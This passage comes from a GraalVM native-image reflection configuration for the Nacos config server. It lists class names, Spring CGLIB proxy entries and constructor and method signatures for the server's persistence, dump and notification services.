\"name\":\"com.alibaba.nacos.config.server.remote.ConfigRemoveRequestHandler$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.remote.RpcConfigChangeNotifier\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"registerTpsPoint\",\"parameterTypes\":[] }, {\"name\":\"subscribeType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.remote.RpcConfigChangeNotifier$RpcPushTask\"\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.ClientIpWhiteList\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.ConfigDetailService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.ConfigOperationService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.ConfigReadinessCheckService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\"] }, {\"name\":\"getModuleName\",\"parameterTypes\":[] }, {\"name\":\"readiness\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.ConfigSubService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.HistoryService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.LongPollingService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.NamespaceConfigInfoService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\"] }, {\"name\":\"injectDetail\",\"parameterTypes\":[\"com.alibaba.nacos.core.namespace.model.Namespace\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.SwitchService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.capacity.CapacityService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.capacity.GroupCapacityPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.capacity.TenantCapacityPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.dump.DumpRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.dump.DumpService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"dump\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.dump.DumpRequest\"] }, {\"name\":\"dumpAll\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.dump.EmbeddedDumpService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\",\"com.alibaba.nacos.core.namespace.repository.NamespacePersistService\",\"com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoAggrPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService\",\"com.alibaba.nacos.config.server.service.merge.MergeDatumService\",\"com.alibaba.nacos.core.cluster.ServerMemberManager\",\"com.alibaba.nacos.core.distributed.ProtocolManager\"] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.dump.ExternalDumpService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\",\"com.alibaba.nacos.core.namespace.repository.NamespacePersistService\",\"com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoAggrPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService\",\"com.alibaba.nacos.config.server.service.merge.MergeDatumService\",\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.dump.processor.DumpAllProcessor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.merge.MergeDatumService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoAggrPersistService\",\"com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.notify.AsyncNotifyService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.notify.AsyncNotifyService$NotifySingleRpcTask\"\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.ConfigInfoAggrPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigDumpApplyHook\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"afterApply\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigDumpApplyHook$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoAggrPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\"] }, {\"name\":\"addAggrConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"aggrConfigInfoCount\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"batchPublishAggr\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\",\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllAggrGroup\",\"parameterTypes\":[] }, {\"name\":\"findConfigInfoAggrByPage\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoAggrPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoBetaPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\"] }, {\"name\":\"addConfigInfo4Beta\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"configInfoBetaCount\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllConfigInfoBetaForDumpAll\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"findConfigInfo4Beta\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo4BetaState\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateBeta\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateBetaCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfo4Beta\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4Beta\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4BetaCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoBetaPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\",\"com.alibaba.nacos.core.distributed.id.IdGeneratorManager\",\"com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService\"] }, {\"name\":\"addConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"addConfigInfoAtomic\",\"parameterTypes\":[\"long\",\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"addConfigTagRelationAtomic\",\"parameterTypes\":[\"long\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"addConfigTagsRelation\",\"parameterTypes\":[\"long\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"batchInsertOrUpdate\",\"parameterTypes\":[\"java.util.List\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\",\"com.alibaba.nacos.config.server.model.SameConfigPolicy\"] }, {\"name\":\"configInfoCount\",\"parameterTypes\":[] }, {\"name\":\"configInfoCount\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllConfigInfo4Export\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, {\"name\":\"findAllConfigInfoFragment\",\"parameterTypes\":[\"long\",\"int\",\"boolean\"] }, {\"name\":\"findChangeConfig\",\"parameterTypes\":[\"java.sql.Timestamp\",\"long\",\"int\"] }, {\"name\":\"findConfigAdvanceInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigAllInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo\",\"parameterTypes\":[\"long\"] }, {\"name\":\"findConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo4Page\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"findConfigInfoLike4Page\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"findConfigInfoState\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfosByIds\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findConfigMaxId\",\"parameterTypes\":[] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getGroupIdList\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"getTenantIdList\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"insertOrUpdate\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"insertOrUpdateCas\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.util.Map\"] }, {\"name\":\"queryConfigInfoByNamespace\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"removeConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoByIds\",\"parameterTypes\":[\"java.util.List\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoByIdsAtomic\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"removeTagByIdAtomic\",\"parameterTypes\":[\"long\"] }, {\"name\":\"selectTagByConfig\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"updateConfigInfoAtomic\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }, {\"name\":\"updateConfigInfoCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoTagPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\"] }, {\"name\":\"addConfigInfo4Tag\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"configInfoTagCount\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllConfigInfoTagForDumpAll\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"findConfigInfo4Tag\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo4TagState\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfoTags\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateTag\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateTagCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfoTag\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4Tag\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4TagCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedConfigInfoTagPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedHistoryConfigInfoPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"detailConfigHistory\",\"parameterTypes\":[\"java.lang.Long\"] }, {\"name\":\"detailPreviousConfigHistory\",\"parameterTypes\":[\"java.lang.Long\"] }, {\"name\":\"findConfigHistory\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }, {\"name\":\"findConfigHistoryCountByTime\",\"parameterTypes\":[\"java.sql.Timestamp\"] }, {\"name\":\"findDeletedConfig\",\"parameterTypes\":[\"java.sql.Timestamp\",\"long\",\"int\"] }, {\"name\":\"insertConfigHistoryAtomic\",\"parameterTypes\":[\"long\",\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.sql.Timestamp\",\"java.lang.String\"] }, {\"name\":\"removeConfigHistory\",\"parameterTypes\":[\"java.sql.Timestamp\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.embedded.EmbeddedHistoryConfigInfoPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoAggrPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addAggrConfigInfo\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"aggrConfigInfoCount\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"batchPublishAggr\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.Map\",\"java.lang.String\"] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllAggrGroup\",\"parameterTypes\":[] }, {\"name\":\"findConfigInfoAggrByPage\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoAggrPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoBetaPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addConfigInfo4Beta\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"configInfoBetaCount\",\"parameterTypes\":[] }, {\"name\":\"createPaginationHelper\",\"parameterTypes\":[] }, {\"name\":\"findAllConfigInfoBetaForDumpAll\",\"parameterTypes\":[\"int\",\"int\"] }, {\"name\":\"findConfigInfo4Beta\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"findConfigInfo4BetaState\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateBeta\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"insertOrUpdateBetaCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeConfigInfo4Beta\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4Beta\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"updateConfigInfo4BetaCas\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.model.ConfigInfo\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoBetaPersistServiceImpl$$SpringCGLIB$$0\",\n  \"fields\":[{\"name\":\"CGLIB$CALLBACK_FILTER\"}, {\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.config.server.service.repository.extrnal.ExternalConfigInfoPersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService\"] }, 